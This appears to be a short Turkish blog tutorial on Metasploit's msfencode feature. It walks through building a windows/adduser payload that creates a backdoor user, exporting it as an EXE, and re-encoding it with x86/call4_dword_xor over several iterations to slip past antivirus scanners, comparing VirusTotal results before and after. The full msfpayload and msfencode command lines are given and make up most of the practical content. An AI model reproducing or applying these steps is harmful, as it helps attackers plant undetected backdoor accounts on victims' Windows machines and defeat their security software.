Metasploit yeni ortaklık ile daha sıkı çalışmaya başladı son güncellemeler ile ; nexpose desteği,rank gibi yeni gelen özelliklerden birtaneside Encoding olanağı.Bu yazıda varsayılan olarak exe ye cevirdigimiz payloadı virüs taramasından geçirip daha sonra encode ederek tekrar virüs taramasına sokup aradakı farkı gözlemleyeceğiz.
Öncelikle Metasploit’te bulunan windows işletim sistemlerinde kullanıcı eklememize olanak sağlayan windows/adduser payloadini calıştırılabilir hale getirelim ;
./msfpayload windows/adduser pass=irq user=irq x>irq.exe

simdi olusturdugumuz dosyayi virustotal.com adresinde taramadan gecirdigimde sonuç ;

Panda,Nod32,Mcafee gibi popular anti virusler tarafindan tanindi. Simdi Msfencode özelliğini kullanarak bypass etmeyi deneyelim.
./msfencode -h
komutu ile aşağıda görüldüğü gibi kullanım parametrelerini listeledik.

Burda birazdan kullanacağımız ;
-e parametresi ile hangi encoder ı kullanacağımızı
-t parametresi ile dosyanın çıkış türünü
-o ile encode edilmiş dosyamızın ismini
tanimliyoruz.
Varolan encoder listesini gorebilmek icin ;
./msfencode -l
komutunu kullaniyoruz.Resimde görüldüğü gibi listede rank olarak belirlenmis tum encoder lar, default olarak kullanirsak En yuksek rank tan bir encoder i kullanir.

Simdi listede alt sıralarda kalan normal rank taki x86/call4_dword_xor encoder ini sectim ve asagidaki komut ile tekrardan enc.irq.exe adinda payloadi olusturup encode ettim.
./msfpayload windows/adduser pass=irq user=irq r | ./msfencode -e x86/call4_dword_xor -t exe -c 8 -o enc.irq.exe
Burda -c komutu ile verinin kac kez encode edileceğini belirttim. r | ise ; msfpayload ve msfencode u ayni satirda kullanmamizi sagliyor.Sonuc olarak oluşturduğumuz enc.irq.exe adındaki payloadımızı virustotal üzerinde tarayınca popüler anti-virüs yazılımlarından geçip bikaç tanesi tarafından zararlı içerik olarak algılanıyor.

Burda sonucun daha pozitif çıkması uygun encoding seçeneğinin uygulanmasıyla mümkündür. Metasploit ile sistemi exploit ederken varsayılan olarak kullanılan ve AV ler tarafından tanınması yaygin kullanimindan dolayi kolaylaşan payloadların sistemin açığa sahip olmasına rağmen çalışmaması durumunda bu işlem uygulanabilir.